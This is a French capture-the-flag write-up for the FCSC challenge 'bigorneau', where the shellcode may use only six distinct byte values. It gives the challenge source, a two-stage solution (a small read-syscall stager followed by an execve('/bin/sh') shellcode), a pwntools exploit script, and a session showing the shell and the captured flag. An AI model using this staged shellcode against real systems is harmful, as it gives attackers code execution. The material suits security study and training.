🔍 Challenge Description
On cherche souvent à obtenir des shellcodes avec des contraintes bizarres, soit en taille, soit alphanumérique, etc. Ici, on tente une nouvelle contrainte bizarre pour un shellcode x64 : vous n’avez le droit d’utiliser que 6 valeurs d’octets différents (i.e., len(set(shellcode)) <= 6) !
🔎 Challenge Analysis
Le challenge “bigorneau” consiste à créer un shellcode avec une contrainte particulière : n’utiliser que 6 octets uniques maximum.
Protections : ✅ Full RELRO, ✅ Canary, ✅ PIE. ❌ Le NX est désactivé
Le serveur exécute un programme Python qui:
- Demande un shellcode à l’utilisateur
- Vérifie que ce shellcode utilise au maximum 6 octets uniques
- Vérifie que sa taille ne dépasse pas 128 octets
- Si les vérifications sont passées, exécute le shellcode via le programme C
Le code met à 0 tous les registres avant l’exécution du shellcode
SC = b"\x48\x31\xed" + SC # xor rbp, rbp
SC = b"\x4d\x31\xff" + SC # xor r15, r15
SC = b"\x4d\x31\xf6" + SC # xor r14, r14
SC = b"\x4d\x31\xed" + SC # xor r13, r13
SC = b"\x4d\x31\xe4" + SC # xor r12, r12
SC = b"\x4d\x31\xdb" + SC # xor r11, r11
SC = b"\x4d\x31\xd2" + SC # xor r10, r10
SC = b"\x4d\x31\xc9" + SC # xor r9, r9
SC = b"\x4d\x31\xc0" + SC # xor r8, r8
SC = b"\x48\x31\xf6" + SC # xor rsi, rsi
SC = b"\x48\x31\xff" + SC # xor rdi, rdi
SC = b"\x48\x31\xd2" + SC # xor rdx, rdx
SC = b"\x48\x31\xc9" + SC # xor rcx, rcx
SC = b"\x48\x31\xdb" + SC # xor rbx, rbx
SC = b"\x48\x31\xc0" + SC # xor rax, rax
# Prepare running the shellcode
tmp = tempfile.mkdtemp(dir = "/dev/shm/", prefix = bytes.hex(os.urandom(8)))
fn = os.path.join(tmp, "shellcode")
with open(fn, "wb") as f:
f.write(SC)
# Running the shellcode
subprocess.run(["./bigorneau", fn], stderr = sys.stdout, timeout = 120)
Le code C charge le shellcode du fichier passé en argument
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
int
main(int argc, char **argv)
{
if (argc != 2) {
printf("Usage: %s <shellcode_file>\n", argv[0]);
exit(1);
}
uint8_t sc[1024];
FILE *fp = fopen(argv[1], "r");
fread(sc, sizeof(sc), 1, fp);
fclose(fp);
((void (*) (void)) sc) ();
return EXIT_SUCCESS;
}
💡 Solution
La difficulté principale est qu’un shellcode fonctionnel utilise généralement plus de 6 octets uniques. Pour contourner cette limitation, j’ai utilisé une technique en deux étapes:
- Envoyer un premier shellcode minimal (respectant la contrainte des 6 octets uniques) qui exécute un syscall
read
pour lire de nouvelles données - Envoyer un second shellcode qui ne sera pas filtré car il est lu directement par le premier shellcode
⚙️ Premier shellcode
0: e8 00 00 00 00 call 0x5
5: 5e pop rsi
6: b2 e8 mov dl, 0xe8
8: 0f 05 syscall
Ce shellcode utilise seulement 5 octets uniques: 0x00
, 0x05
, 0x0f
, 0xe8
et 0x5e
.
Explication:
call 0x5
: Appelle l’instruction juste après, plaçant l’adresse de retour sur la pilepop rsi
: Récupère cette adresse dans le registre RSI (pointeur vers notre buffer)mov dl, 0xe8
: Charge 0xe8 (232) dans DL, qui sert de longueur pour le syscall readsyscall
: Exécute le syscall READ
⚙️ Second shellcode
Le second shellcode est un shellcode classique d’exécution de shell /bin/sh
qui n’est pas soumis à la contrainte des 6 octets uniques.
🚀 Implémentation
from pwn import *
import time
# Connection au serveur
p = remote("chall.fcsc.fr", 2102)
# Premier shellcode (5 octets uniques)
shell1 = "e8000000005eb2e80f05"
# Second shellcode (shellcode standard pour execve("/bin/sh"))
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# Padding + shellcode
shell2 = (cyclic_find("aaac"))*b"\x90" + b"\x90"*8 + shellcode
# Envoi du premier shellcode
p.sendlineafter(b"bytes):", shell1.encode())
# Envoi du second shellcode
p.sendline(shell2)
# Interaction avec le shell obtenu
p.interactive()
🏁 Flag
[>] Opening connection to chall.fcsc.fr on port 2102
[+] Opening connection to chall.fcsc.fr on port 2102: Done
0: e8 00 00 00 00 call 0x5
5: 5e pop esi
6: b2 e8 mov dl, 0xe8
8: 0f 05 syscall
[*] Switching to interactive mode
$ ls
bigorneau
bigorneau.py
flag.txt
$ cat flag.txt
FCSC{619c629f9dd846fe8f1db9f23693707b7a334ab7da1507dc904b9d5c3fc2a15c}